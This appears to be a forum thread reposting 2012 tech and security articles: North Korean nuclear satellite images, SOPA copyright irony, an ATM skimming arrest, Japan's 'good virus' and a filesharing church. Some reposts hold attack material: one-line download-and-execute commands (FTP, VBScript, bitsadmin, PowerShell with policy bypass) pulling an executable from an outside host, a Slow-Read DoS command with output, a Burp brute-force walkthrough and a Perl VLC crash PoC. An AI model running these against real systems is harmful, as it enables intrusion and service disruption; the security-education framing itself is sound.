denjacker

genial

Kim Jong Il may be dead, but his legacy in North Korea lives on through the nuclear program he left behind. New satellite images now offer a more detailed view of the work that went into North Korea’s nuclear facilities in Kim’s final years. The satellite pictures and the simulated models based on them show that North Korea has made notable progress building out its uranium enrichment facilities and accompanying experimental light water reactor since 2009. That progress is noted in a new article by Siegfried Hecker, Robert Carlin and Niko Milonopoulos in the Bulletin of the Atomic Scientists. In November 2010, Hecker and Carlin were part of a group of professors invited by North Korea to take a stroll through the country’s nuclear facilities at Yongbyon. To the group’s surprise, their hosts showed off what could be a new potential path to the bomb for the Hermit Kingdom: a recently-finished, gleaming uranium enrichment facility packed with 2,000 centrifuges. Prior to this point, the North’s route to nuclear weaponry had come from its plutonium reactor. Kim Jong Il and his minions swore the latest uranium enrichment facility was built only to provide fuel for an electricity-generating light water reactor. Nonetheless, it raised proliferation concerns since the enrichment facility could also be used to make the fuel for a nuclear weapon. he pictures of the Yongbyon uranium enrichment facility published in the Bulletin show that the North Koreans have spruced up a number of buildings since June 2009. Hecker, Carlin and Milonopoulos can identify two of the structures in the photos. Building 4, the blue-roofed building in the photo below, houses the centrifuge facility that the North showed off back in 2010. The building in the lower left hand corner is a recreational facility for the staff. The image of the enrichment facilities from April 2009 doesn’t match North Korea’s September 2009 announcement that it had successfully enriched uranium. When Hecker and Carlin visited the centrifuge facility (Building 4) in November 2010, the North Koreans claimed the recently retrofitted building had only been up and running for a few days. According to Hecker and his colleagues, whatever enrichment the North may have achieved in September 2009 had to have been at another site. The facilities in Building 4 simply weren’t ready to do the work at that time, raising the possibility of another clandestine enrichment site. The photos show more progress on a nearby light water reactor (below) intended for electricity generation, the ostensible destination for the North’s enriched uranium. Hecker and his coauthors note quite a bit of progress on the facility’s exterior components. That tracks with the North Korean Foreign Ministry’s November 2011 claim that construction was “proceeding apace.” However, the authors say the more challenging work of constructing the interior will likely push back the reactor’s completion date past 2012. As the image below shows, the North Koreans have laid pipes to draw water from the nearby Kuryong River and done significant work on a turbine generator hall. The reactor’s containment dome is almost finished, too. Safety is also an issue. In the satellite photos, North Korea is showing it can build a light water reactor. But Hecker, Carlin and Milonopoulos wonder aloud whether their ability to build and operate one without a nuclear accident is a different challenge altogether http://www.wired.com/dangerroom/2012/01/sat-snaps-north-koreas-nukes/all/1

US Congressman and poor-toupee-color-chooser Lamar Smith is the guy who authored the Stop Online Piracy Act. SOPA, as I'm sure you know, is the shady bill that will introduce way harsher penalties for companies and individuals caught violating copyright laws online (including making the unauthorized streaming of copyrighted content a crime which you could actually go to jail for). If the bill passes, it will destroy the internet and, ultimately, turn the world into Mad Max (for more info, go here). I decided to check that everything on Lamar's official campaign website was copyright-cleared and on the level. Lamar is using several stock images on his site, two of which I tracked back to the same photographic agency. I contacted the agency to make sure he was paying to use them, but was told that it's very difficult for them to actually check to see if someone has permission to use their images. (Great news, copyright violators!) However, seeing as they're both from the same agency and are unwatermarked, it seems fairly likely that he is the only person on the entire internet who is actually paying to use a stock image (and he'd be an idiot not to). So I took a look back at an archived, pre-SOPA version of his site. This is a screenshot of his site as it appeared on the 24th of July, 2011. And this is the background image Lamar was using. I managed to track that picture back to DJ Schulte, the photographer who took it. And whaddya know? Looks like someone forgot to credit him. I contacted DJ, to find out if Lamar had asked permission to use the image and he told me that he had no record of Lamar, or anyone from his organization, requesting permission to use it: "I switched my images from traditional copyright protection to be protected under the Creative Commons license a few years ago, which simply states that they can use my images as long as they attribute the image to me and do not use it for commercial purposes. "I do not see anywhere on the screen capture that you have provided that the image was attributed to the source (me). So my conclusion would be that Lamar Smith's organization did improperly use my image. So according to the SOPA bill, should it pass, maybe I could petition the court to take action against www.texansforlamarsmith.com." Oh dear. Luckily for DJ, there are people out there like Lamar making new laws to protect the little guy against online copyright theft. Keep fighting that good fight, Lamar! http://www.vice.com/read/lamar-smith-sopa-copyright-whoops

In this post I am just highlighting some of the ways that I know of where we can download and execute code via the commandline which could be used in command injection vulnerabilities or exploiting buffer overflows using the classic ret-to-libc method. Most of you would most probably know these methods but I thought I’d post it anyway for my own reference. FTP method FTP can be used to download a binary and then get executed with the start command. The downside to this method is that we’ll need to have a FTP server hosting the binary file. Nevertheless the command string length can be reasonably small. Here the ftp commands which are first echoed to create a script, then run the script by ftp.exe to download the binary and finally executing the binary. open 192.168.1.3 binary get /messbox.exe quit cmd.exe /c "@echo open 192.168.1.3>script.txt&@echo binary>>script.txt& @echo get /messbox.exe>>script.txt&@echo quit>>script.txt&@ftp -s:scrip t.txt -v -A&@start messbox.exe" We can make the command string smaller by using o for open and b for binary. Also our script file can also be represented as a single character. WSH method Windows Scripting Host can also be used to download and execute code. For this we again need to echo out the scripting code to a file and then run our script by cscript.exe. strFileURL = "http://www.greyhathacker.net/tools/messbox.exe" strHDLocation = "mess.exe" Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") objXMLHTTP.open "GET", strFileURL, false objXMLHTTP.send() If objXMLHTTP.Status = 200 Then Set objADOStream = CreateObject("ADODB.Stream") objADOStream.Open objADOStream.Type = 1 objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position = 0 objADOStream.SaveToFile strHDLocation objADOStream.Close Set objADOStream = Nothing End if Set objXMLHTTP = Nothing Set objShell = CreateObject("WScript.Shell") objShell.Exec("mess.exe") Below is the code that is chained up and then using cscript.exe to run our script. cmd.exe /c "@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>poc.vbs &@echo objXMLHTTP.open "GET","http://www.greyhathacker.net/tools/messbo x.exe",false>>poc.vbs&@echo objXMLHTTP.send()>>poc.vbs&@echo If objXMLH TTP.Status=200 Then>>poc.vbs&@echo Set objADOStream=CreateObject("ADODB .Stream")>>poc.vbs&@echo objADOStream.Open>>poc.vbs&@echo objADOStream. Type=1 >>poc.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>poc. vbs&@echo objADOStream.Position=0 >>poc.vbs&@echo objADOStream.SaveToFi le "mess.exe">>poc.vbs&@echo objADOStream.Close>>poc.vbs&@echo Set objA DOStream=Nothing>>poc.vbs&@echo End if>>poc.vbs&@echo Set objXMLHTTP=No thing>>poc.vbs&@echo Set objShell=CreateObject("WScript.Shell")>>poc.vb s&@echo objShell.Exec("mess.exe")>>poc.vbs&cscript.exe poc.vbs" BITSadmin method Windows 7 comes with a console tool called bitsadmin.exe which can be used to download and upload files. The cool thing about bitsadmin is that it suspends the transfer if a network connection is lost. After reconnection the transfer continues where it left off and executes our code. cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://w ww.greyhathacker.net/tools/messbox.exe c:\mess.exe&start mess.exe" PowerShell method Powershell is a scripting language which comes as standard in Windows 7. Below is a script which downloads and executes mess.exe. $down = New-Object System.Net.WebClient $url = 'http://www.greyhathacker.net/tools/messbox.exe'; $file = 'mess.exe'; $down.DownloadFile($url,$file); $exec = New-Object -com shell.application $exec.shellexecute($file); We can echo this script to a file and then run the script using Powershell with the “bypass” parameter as by default the Powershell policy is set to “restricted”. powershell.exe -executionpolicy bypass -file poc.ps1 Another elegant way to run our code without any scripts is by chaining our code in one line as shown below PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.g reyhathacker.net/tools/messbox.exe','mess.exe');Start-Process 'mess.exe' PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.g reyhathacker.net/tools/messbox.exe','mess.exe');(New-Object -com Shell. Application).ShellExecute('mess.exe'); References: http://technet.microsoft.com/en-us/library/dd347628.aspx http://msdn.microsoft.com/en-us/library/aa362812.aspx http://msdn.microsoft.com/en-us/library/windows/desktop/aa362813(v=vs.85).aspx sursa : http://www.greyhathacker.net/?p=500

A Romanian man has been arrested in a $1.5 million card-skimming operation that targeted 40 ATMs belonging to HSBC branches in New York. Between May 2010 and this week Laurentiu Iulian Bulat and others allegedly installed card-skimming devices that stole card numbers and PINs on HSBC ATMs in Manhattan, Long Island and Westchester. The devices recorded information embedded in the magnetic stripe of bank cards as customers inserted them into the ATMs. Pin-hole cameras the hackers installed in the ATMs recorded the PINs as customers typed them on the keypad. The thieves would return to the ATMs within a day or two to collect the stored data and subsequently embed it on blank cards. Then using the videotaped PINs, they withdrew about $1.5 million from customer accounts over about seven months, authorities say. According to an affidavit filed by U.S. Secret Service Agent Eric Friedman (.pdf), Bulat was caught on bank surveillance cameras on Thursday morning – and on prior occasions – installing the skimmers and pin-hole cameras and made no attempt to hide his face. Bulat, according to authorities, has been in the U.S. illegally on an overstayed visa. He’s charged with one count of conspiracy to commit bank fraud and one count of bank fraud. If convicted, he faces a maximum sentence of 60 years in prison. http://www.wired.com/threatlevel/2012/01/hsbc-skimming-operation/

Japan Developing "Good" Computer Virus That Will Attack The Attackers The words “good” and “virus” may look funny stuck together in a headline, but the words have become a popular way to describe plans by the Japanese government to use a program designed to attack the attackers. News of the initiative was reported earlier this week by Japanese newspaper Yomiuri Shimbun. According to the paper, the country’s defense ministry commissioned Fujitsu to develop the cyber-weapon back in 2008. Since then, the program has been tested in a closed network environment. The virus has the ability to trace the sources of an attack and springboard to computers used to transmit the malware, as well as disable the attacking program and collect relevant information. The prospect of such a weapon however has given some security experts pause. Anup Ghosh, chief scientist at Invincea, is among them. Self-propagating code adds risk “any time you do it,” he told SecurityWeek. For example, the Morris worm was not written to cause damage, he noted. Yet it ended up causing a massive disruption of the Internet in 1988. Attacking the Attackers A slightly different but more recent example would be the Sony BMG rootkit scandal. In that case, Sony BMG (now defunct) was revealed in 2005 to be including rootkit functionality in digital rights management software on its music CDs that was automatically installed on Windows computers whenever the customer tried to play the CDs. The rootkit left consumers open to viruses written to abuse the technology, thereby creating a new security hole. Other examples of attempts to create good viruses in the past include the Cruncher virus and malware designed to fight child abuse images and report its findings to authorities, noted Graham Cluley, senior technology consultant with Sophos. “But the simple truth is that none of them have needed to be viral to deliver their positive benefit,” he blogged. “And, similarly, I suspect that the Japanese don't need to develop viral code to fight a malware infection. Anything which can be done by viral code can be done - with less headaches - by non-replicating software. When you're trying to gather digital forensic evidence as to what has broken into your network, and what data it may have stolen, it's probably not wise to let loose a program that starts to trample over your hard drives, making changes.” Then there are the murkier issues of ethics, such as the lack of permission to install a program on someone’s computer, Ghosh said. There is also the prospect of malware utilizing the virus in some way to compromise machines – something that happened in the case of the Sony BMG rootkit – as well as the possibility the good virus itself does damage to a user’s computer in some way, he added. Still, nations have “special considerations” and a different set of ethics to abide by than companies, argued Sean Sullivan, security advisor for F-Secure Labs. “I think it is difficult to imagine anyone outside of governments creating ‘white worms’ and even then as an antivirus company, we wouldn't do anything to prevent our technology from detecting or blocking such technology,” he said. “To us, a worm is a worm is a worm…It would be completely unethical to use in the private sector against cyber-criminals.” “I totally think a white worm would…fly in the United States, for DHS (Department of Homeland Security) national security reasons,” he added. “If the government thinks they need to use it, they will. The Air Force has already hinted at developing counter-attack technologies, but they've been smart enough not to term it as a cyber-weapon virus.” Regardless, the approach taken by the Japanese government will not cure the cyber-security problem, Yuval Ben-Itzhak, CTO of AVG Technologies, told SecurityWeek. “Protecting against computer viruses requires a layered security solution rather just a single method,” he said. “This is how the security vendors are approaching the problem. Having today's layered security products, for a worm to spread across computers without them explicitly allowing it, is a challenge the author of this tool will find almost impossible to solve. “Microsoft, Google (and) Apple are delivering with their operating systems a feature that enables them to remove/isolate a known threat - even so, virus authors and security researchers manage to find ways to bypass it,” he added. “When you raise the bar on one side - either cybercriminals or security vendors - the other side reacts as well - this is how the security market has operated for many years.” http://www.securityweek.com/japans-plan-good-computer-virus-sparks-debate

Slow-Read DoS Attack Background Another tweak in the ongoing "Slow" DoS attacks has emerged this week. The previous Slow DoS attacks focuses on methods of slowing down the rate of request data sent to the target web server. This time, the attack centers on a method of slowing down the rate at which the client (attacker) is able to consume the response data sent back by the web server - hence the name "Slow Read" DoS. It is rather serendipitous as I actually had the same attack scenario in mind for some time but never got around to develop working exploit code. So a hat tip to Sergey Shekyan as we have seen in the security space that theoretical exploits fall on deaf ears and that you need working proof of concept code to get people to listen. For those of you familiar with the old LaBrea Tarpit app for slowing down network based worms, this is somewhat of a reverse approach. Instead of the defender (LaBrea) sending back a TCP Window size of 0 to the attacker (worm) which would force the TCP client to wait for a period of time before resubmitting, in this scenario the attacker is the one forcing the web server to wait. After sending in the request, the client responds with TCP window sizes that are much smaller than normal. This forces the web server to queue the response a break it up into smaller chunks that the client will accept. Slow-Read DoS Attack Example You can download the slowhttptest tool from the project site and then follow the steps on this page to test out a Slow-Read attack. Here is an example test command that I modified to more closely mimic the LaBrea concept as it uses TCP window sizes of only 1 or 2: ./slowhttptest -c 1000 -X -g -o slow_read_stats -r 200 -w 1 -y 2 -n 5 -z 32 -k 3 -u http://localhost/target_file -p 3 When running this command against an Apache server, the tool shows this data: $ ./slowhttptest -c 1000 -X -g -o slow_read_stats -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http://localhost/target_file -p 3 Fri Jan 6 10:07:09 2012:set open files limit to 1010 Fri Jan 6 10:07:09 2012: Using: test type: SLOW READ number of connections: 1000 URL: http://localhost/target_file verb: GET receive window range: 512 - 1024 pipeline factor: 3 read rate from receive buffer: 32 bytes / 5 sec connections per seconds: 200 probe connection timeout: 3 seconds test duration: 240 seconds Fri Jan 6 10:07:09 2012:slow HTTP test status on 0th second: initializing: 0 pending: 1 connected: 0 error: 0 closed: 0 service available: YES Fri Jan 6 10:07:14 2012:slow HTTP test status on 5th second: initializing: 0 pending: 541 connected: 383 error: 0 closed: 0 service available: NO Fri Jan 6 10:07:19 2012:slow HTTP test status on 10th second: initializing: 0 pending: 617 connected: 383 error: 0 closed: 0 service available: NO You can see that after a 5 seconds, the server is no longer able to service new requests as all of the existing threads are stuck in a WRITE state. The following tcpdump data shows where the tool changes the TCP window size to 1: 10:56:06.872895 IP (tos 0x0, ttl 64, id 5652, offset 0, flags [DF], proto TCP (6), length 64, bad cksum 0 (->a081)!) 192.168.1.105.http > 192.168.1.105.57011: Flags [S.], cksum 0x8455 (incorrect -> 0x6be3), seq 1528097122, ack 3885912325, win 65535, options [mss 16344,nop,wscale 1,nop ,nop,TS val 317572454 ecr 317572454,sackOK,eol], length 0 0x0000: 4500 0040 1614 4000 4006 0000 c0a8 0169 E..@..@.@......i 0x0010: c0a8 0169 0050 deb3 5b14 e962 e79e 5105 ...i.P..[..b..Q. 0x0020: b012 ffff 8455 0000 0204 3fd8 0103 0301 .....U....?..... 0x0030: 0101 080a 12ed c566 12ed c566 0402 0000 .......f...f.... 10:56:06.872902 IP (tos 0x0, ttl 64, id 32564, offset 0, flags [DF], proto TCP (6), length 52, bad cksum 0 (->376d)!) 192.168.1.105.57010 > 192.168.1.105.http: Flags [.], cksum 0x8449 (incorrect -> 0x7a07), ack 1, win 65328, options [nop,nop,TS val 317572454 ecr 317572454], length 0 0x0000: 4500 0034 7f34 4000 4006 0000 c0a8 0169 E..4.4@.@......i 0x0010: c0a8 0169 deb2 0050 6a91 b7b5 5fc3 67ad ...i...Pj..._.g. 0x0020: 8010 ff30 8449 0000 0101 080a 12ed c566 ...0.I.........f 0x0030: 12ed c566 ...f 10:56:06.872906 IP (tos 0x0, ttl 64, id 1603, offset 0, flags [DF], proto TCP (6), length 52, bad cksum 0 (->b05e)!) 192.168.1.105.57011 > 192.168.1.105.http: Flags [.], cksum 0x8449 (incorrect -> 0xe6a1), ack 1, win 65328, options [nop,nop,TS val 317572454 ecr 317572454], length 0 0x0000: 4500 0034 0643 4000 4006 0000 c0a8 0169 E..4.C@.@......i 0x0010: c0a8 0169 deb3 0050 e79e 5105 5b14 e963 ...i...P..Q.[..c 0x0020: 8010 ff30 8449 0000 0101 080a 12ed c566 ...0.I.........f 0x0030: 12ed c566 ...f 10:56:06.877862 IP (tos 0x0, ttl 64, id 42608, offset 0, flags [DF], proto TCP (6), length 64, bad cksum 0 (->1025)!) [COLOR="#FF0000"] 192.168.1.105.57012 > 192.168.1.105.http: Flags [S], cksum 0x8455 (incorrect -> 0x4db9), seq 1017984763, win 1, options [mss 16344,nop,wscale 0,nop,nop,TS val 317572454 ecr 0,sackOK,eol], length 0[/COLOR] 0x0000: 4500 0040 a670 4000 4006 0000 c0a8 0169 E..@.p@.@......i 0x0010: c0a8 0169 deb4 0050 3cad 36fb 0000 0000 ...i...P<.6..... 0x0020: b002 0001 8455 0000 0204 3fd8 0103 0300 .....U....?..... 0x0030: 0101 080a 12ed c566 0000 0000 0402 0000 .......f........ For further visual evidence, here is a screen shot of the Server-Status page right when the attack is stopped: Notice that all of the threads are in a "W" Sending Reply state. Mitigating Slow-Read DoS Attacks with ModSecurity ModSecurity v2.6 introduced a new directive called SecWriteStateLimit, which will place a limit on the concurrent number of threads (per IP address) in a SERVER_BUSY_WRITE state. This was originally created to help mitigate the Slow Request Body DoS attacks as Apache moves these threads into this state when it is reading request body payloads. Well, as it turns out, when Apache is sending response body data back to a client, it too moves the threads into the SERVER_BUSY_WRITE state. This means that we can use the ModSecurity SecWriteStateLimit to set an upper threshold of concurrent threads (per IP address) in this state. If this threshold is met, then new threads over this limit will be terminated. The end result is that an attacker will not be able to tie up all available threads and other clients will be able to access the web server. For testing purposes, the following ModSecurity directive was added to the configuration: SecWriteStateLimit 100 The same slowhttptest test was then run and the Apache Server-Status page looked like this during the attack: Notice that there is now a limit of ~100 concurrent connections (per IP address) in the W state and that the other threads are open and able to process new requests. During the attack, the Apache error_log showed these error message from ModSecurity's SecLimitWriteState directive: [Fri Jan 06 10:39:38 2012] [warn] ModSecurity: Access denied with code 400. Too many threads [101] of 100 allowed in WRITE state from 192.168.1.105 - Possible DoS Consumption Attack [Rejected] [Fri Jan 06 10:39:38 2012] [warn] ModSecurity: Access denied with code 400. Too many threads [101] of 100 allowed in WRITE state from 192.168.1.105 - Possible DoS Consumption Attack [Rejected] [Fri Jan 06 10:39:38 2012] [warn] ModSecurity: Access denied with code 400. Too many threads [101] of 100 allowed in WRITE state from 192.168.1.105 - Possible DoS Consumption Attack [Rejected] [Fri Jan 06 10:39:38 2012] [warn] ModSecurity: Access denied with code 400. Too many threads [101] of 100 allowed in WRITE state from 192.168.1.105 - Possible DoS Consumption Attack [Rejected] [Fri Jan 06 10:39:38 2012] [warn] ModSecurity: Access denied with code 400. Too many threads [101] of 100 allowed in WRITE state from 192.168.1.105 - Possible DoS Consumption Attack [Rejected] [Fri Jan 06 10:39:38 2012] [warn] ModSecurity: Access denied with code 400. Too many threads [101] of 100 allowed in WRITE state from 192.168.1.105 - Possible DoS Consumption Attack [Rejected] [Fri Jan 06 10:39:38 2012] [warn] ModSecurity: Access denied with code 400. Too many threads [101] of 100 allowed in WRITE state from 192.168.1.105 - Possible DoS Consumption Attack [Rejected] [Fri Jan 06 10:39:38 2012] [warn] ModSecurity: Access denied with code 400. Too many threads [101] of 100 allowed in WRITE state from 192.168.1.105 - Possible DoS Consumption Attack [Rejected] [Fri Jan 06 10:39:38 2012] [warn] ModSecurity: Access denied with code 400. Too many threads [101] of 100 allowed in WRITE state from 192.168.1.105 - Possible DoS Consumption Attack [Rejected] http://blog.spiderlabs.com/2012/01/modsecurity-advanced-topic-of-the-week-mitigation-of-slow-read-denial-of-service-attack.html?utm_source=twitterfeed&utm_medium=twitter

A CHURCH DEVOTED to filesharing has won official recognition in Sweden. The church, called the Church of Kopimism has some rather interesting beliefs, and while its legitimacy has been denied several times, it finally won official recognition this week. At its heart is the belief that people should have the right to share and that people whose work is shared should be glad about that. "The missionary kopimistsamfundet is a religious group centered in Sweden who believe that copying and the sharing of information is the best and most beautiful that is," says the information on its web site, which is presently unavailable due to overwhelming traffic load. "Throughout history, various groups around the world have been persecuted by oppressors. It has since taken refuge in religion and wanted a peaceful coexistence. Without threats and harassment.In our belief, communication is sacred. Communication needs to be respected. It is a direct sin to monitor and eavesdrop on people.The absolute secrecy is holy in the church of kopimism." The fact that the religion is officially recognised does not mean that its members can lawfully download and share material without inspection by ISPs and such, but it does show some progress in attitudes around filesharing, at least according to the chap behind it. "I think that more people will have the courage to step out as Kopimists. Maybe not in the public, but at least to their close ones," said philosophy student and church founder Isak Gerson in an interview with TorrentFreak. "There's still a legal stigma around copying for many. A lot of people still worry about going to jail when copying and remixing. I hope in the name of Kopimi that this will change." µ Source: The Inquirer (http://s.tt/156rJ)

Authentication is the process of validating something as authentic. When a client makes a request to a web server for accessing a resource, sometimes the web server has to verify the user’s identity. For that the user will have to supply some credentials and the web server validates it. All subsequent decisions are then taken on the basis of the credentials supplied by the client. This process is called Authentication. Once the user is Authenticated, the web server sets up the appropriate permissions for the user on its resources. Whenever the user tries to access a resource, the server will check if the user has appropriate permissions to access the resource or not. This process is called Authorization. In this article we will look at some of the common types of Authentication used these days, discuss the vulnerabilities in them, and then move on to some attacks against these Authentication types. Please note that we will be using Burpsuite in this article for analyzing the requests sent through. Burpsuite is available by default in Backtrack. In order to intercept the requests and manipulate them, we must configure our browser to use Burp’s proxy, which is 127.0.0.1:8080 by default. We will also be using Wireshark a bit. Once this is done, open up Burpsuite, go to Proxy–>Intercept and make sure Intercept is on. Now go to the options tab and check to see if the proxy is listening on port 8080. Also make sure “Generate CA-signed per-host certificates” option is checked. Each time the user connects to a SSL protected website, Burpsuite will generate a server certificate for that host, signed by a unique CA certificate which is generated in Burpsuite during its installation. The purpose of this is to reduce the SSL errors that occur because of the proxy in between. Now that we have set up Burpsuite and the configurations in our browser properly, we can intercept requests. Please note that whenever you send a request, it will be intercepted by Burpsuite and you will have to forward it manually. Hence it is advisable to keep “intercept is on” option checked only when you really want to see the contents of the packets going through. Types of Authentication 1)HTTP-Basic Authentication HTTP-Basic authentication uses a combination of a username and password to authenticate the user. The process starts when a user sends a GET request for a resource without providing any authentication credentials. The request is intercepted by Burpsuite and looks something like this. The server responds back with a “Authorization Required” message in its header. We can see the packet in Wireshark. As we can see from the header, the authentication is of the type “Basic”. The browser is quick to recognize this and displays a popup to the user requesting for a Username and a Password. Note that the popup is displayed by the browser and not the web application. Once we type in the username and password and intercept the request again using Burpsuite, we get something as shown in the figure below.The last line says “Authorization: Basic aW5mb3NlYzppbmZvc2VjaW5zdGl0dXRl”. This is basically the extra thing being passed in the header now. The text after Basic holds the key. These are basically the credentials in encoded form.The username and password are concatenated with a colon ( in between and the whole thing is then encoded using the Base64 algorithm. For example, if the username is “infosec” and the password is “infosecinstitute” then the whole thing “infosec:infosecinstitute” is encoded using the Base 64 algorithm.The server then gets the header value, decodes it to get the credentials and grants access to the user if the credentials are correct. The point to note here is that it is very trivial to decode the encoded string to obtain the credentials, hence it is widely vulnerable to eavesdropping attacks. Wireshark is able to recognize this and automatically decodes the string to reveal the credentials as shown in the figure below. As we can see from the Credentials sections, the username and password are “infosec” and “infosecinstitute” respectively. One of the problems with HTTP-Basic Authentication is that the data is being passed over in plaintext. This risk can be removed by using SSL, which will send the data in encrypted format, and hence the value in the Authorization header will not be visible. However it will still be vulnerable to many client side attacks, including MITM. It is also vulnerable to Brute force attacks which we will see in the coming sections. 2)HTTP-Digest Authentication Digest Authentication was designed as an improvement over the HTTP Basic Authentication. One of the major improvements is that the data is not passed over in cleartext but in encrypted format. The user first makes a request to the page without any credentials. The server replies back with a WWW-Authenticate header indicating that credentials are required to access the resource. The server also sends back a random value which is usually called a “nonce”. The browser then uses a cryptographic function to create a message digest of the username, password, nonce, the HTTP methods, and the URL of the page. The cryptographic function used in this case is a one way function, meaning that the message digest can be created in one direction but cannot be reversed back to reveal the values that created it. By default, Digest authentication uses MD5 cryptographic hashing algorithm. Digest Access authentication is less vulnerable to Eavesdropping attacks than Basic Authentication, but is still vulnerable to replay attacks, i.e., if a client can replay the message digest created by the encryption, the server will allow access to the client. However, to thwart this kind of attack, server nonce sometimes also contains timestamps. Once the server gets back the nonce, it checks its attributes and if the time duration is exceeded, it may reject the request from the client. One of the other good things about Digest access authentication is that the attacker will have to know all the other 4 values (username, nonce, url, http method) in order to carry out a Dictionary or a Brute force attack. This process is more computationally expensive than simple brute force attacks and also has a larger keyspace which makes brute force attack less likely to succeed. 3)Form Based Authentication Form Based Authentication uses a form (usually in html) with input tags to allow users to enter their username and password. Once the user submits the information, it is passed over through either GET or POST methods via HTTP or HTTPs to the server. On the server side if the credentials are found to be correct, then the user is authenticated and some random token value or session id is given to the user for subsequent requests. One of the good features of Form Based authentication is that their is no standardized way of encoding or encrypting the username/password, and hence it is highly customizable, which makes it immune to the common attacks which were successful against HTML Basic and Digest Authentication mechanisms. Form Based Authentication is by far the most popular authentication method used in Web applications. Some of the issues with Form Based Authentication is that credentials are passed over in plaintext unless steps such as employment of TLS (Transport Layer Security) are not taken. Let’s see an example of Form Based Authentication. We will be using DVWA (Damn vulnerable web application) for our exercise as we will be using the same for carrying out a brute force attack against Form based authentication. DVWA can be downloaded from here. Once you have downloaded and installed it, login with the default credentials {admin/password} and click on the Brute Force tab on left side and click on View Source to view the source. Please note that the Security level is set to high in my case. As we can see the form accepts the username and password, validates it to remove any sort of special characters which could be used to perform SQL injection, and then sends it over to a sql query where the credentials are checked against the database to see if they are correct or not. let’s input any username/password and intercept the result using Burpsuite. Here is what it should look like in your case. Attacking Web Authentication In this section we will be carrying out a bruteforce attack against form based authentication for Security level “High” in DVWA. Please note that brute force attacks may not work in all cases. In some cases websites will start rejecting your requests after some specified number of unsuccessful tries. Also, some websites may use CAPTCHA to validate if a human is indeed making the request or not. To carry out a brute force attack, we will be using the intruder feature in Burpsuite. Some of the things required for this attack are a list of common usernames and passwords. Go to the form and submit a request using any username/password for now, then intercept the request. Once you have the request, right click on it and click on “send to intruder” This will send the request information to the intruder. Go to the intruder tab. Now we will have to configure Burpsuite to launch the brute force attack. Under the target tab, we can see that it has already set the target by looking at the request. Go to the positions tab now, here we can see the request which we had previously sent to intruder. Some of the things are highlighted in the request. This is basically a guess by Burpsuite to figure out what all things will be changing with each request in a Brute force attack. Since in this case only username and password will be changing with each request, we need to configure Burp accordingly. Click on the clear button on the right hand side. This will remove all the highlighted text, now we need to configure Burp to only set the username and password as the parameters for this attack. Highlight the username from this request (in this case “infosec”) and click on Add. Similarly, highlight the password from this request and click on Add. This will add the username and password as the first and second parameters. Once you are done, your output should look something like this. The next thing we need to do is set the Attack type for this attack, which is found at the top of the request we just modified. By default it is set to Sniper. However, in our case we will be using the Attack type “Cluster Bomb”. For more details on which attack is suitable for which scenario, please read Burp’s documentation. Basically the idea of cluster bomb is to use Multiple payload sets (1 for username and 1 for the password). The attack will start by trying all the values in Payload 1 with first value in Payload 2, then by trying all the values in Payload 1 with second value in Payload 2 and so on. As we can see in the image below, our attack type is set to “Cluster Bomb”. Go to the payload tab, make sure payload set 1 is selected, click on load and load the file containing a list of usernames. In my case I am using a very small file just for demonstrations purposes. Once you load the file all the usernames will be displayed as shown in the image below. Similarly select payload set 2, click on load and load the file containing a list of passwords. Go to the options tab now and make sure “store requests” and “store response” options are set under results. Have a look at all the options and see if you need or don’t need any of these options. All right we are now set to launch our attack. Click on intruder on the top left and click on “start attack”. We will see a windows pop up with all the requests being made. So how do we know which request is successful ? Usually a successful request will have a different response than an unsuccessful request or will have a different status response. In this case we see that the request with the username “admin” and the password “password” has a response of different length than the other responses. Let’s click on the request with a different length response. If we click on the response section, we see the text “Welcome to the password protected area admin” in the response. This confirms that the username/password used in this request is the correct one. Conclusion In this article we discussed some of the common authentication methods used, the vulnerabilities in these authentication methods and then looked at different ways to attack them. However, this is just a part of the story. In the recent years, many other authentication mechanisms have been developed, including use of “One Time passwords”, “Digital Certificates” and use of external authentication service providers like Open ID. Several other attacks which have not been discussed in this article are Session Stealing, Cookie stealing, Cross Site Request Forgery and SQL Injection. We will be discussing all these in the next article. http://resources.infosecinstitute.com/authentication-hacking-pt1/

VLC Media Player version 1.1.11 local crash proof of concept exploit that creates a malicious .amr file. #!/usr/bin/perl ## # Exploit Title: VLC media player v1.1.11 (.amr) Local Crash PoC # Date: 04.01.2012 # Author: Fabi@habsec (hapsec@gmail.com) # Software Link: http://sourceforge.net/projects/vlc/files/1.1.11/win32/vlc-1.1.11-win32.exe # Version: 1.1.11 # Tested on: Windows 7 x86 English # # Description: Unhandled Access Violation Exception loading generated .amr file # - 1.1.10 not affected! # ## # # # system("title VLC .amr crash PoC"); system("cls"); print "\n"; print " [*] Name : VLC media player v1.1.11 (Adaptive Multi-Rate)\n"; print " [*] Exploit : Local Crash PoC \n"; sleep(2); print "\n"; my $amr_boof = "\x23\x21\x41\x4D\x52"; # Treat as AMR $amr_boof .= "\x41"x1000; # j4f open(file , ">", "b00f.amr"); print file $amr_boof; print " [+] File successfully created! Open in VLC or drag to playlist..\n" or die print "\n Wuups- Could not create File.. "; close(file); # #Hannibal ante portas http://packetstormsecurity.org/files/108334/vlc1111-dos.txt

Banuiesc ca si articolele cu XSS (exemplu) iti `suna cunoscute` .. si sunt mai multe pe forum; aceleasi subiecte aceleasi tehnici. Si daca tot iti suna cunoscut probabil ca nu iti e adresat tie ci altora care sunt interesati. So ? vrei sa le stergem ? sau ce vrei sa insinuezi ? Am pus articolul "as it is" cu sursa , il citesti daca iti place (aici sau acolo), daca nu il citesti pe celalalt. Alte probleme?

http://securityjuggernaut.blogspot.com/2012/01/practical-http-response-splitting.html?spref=tw

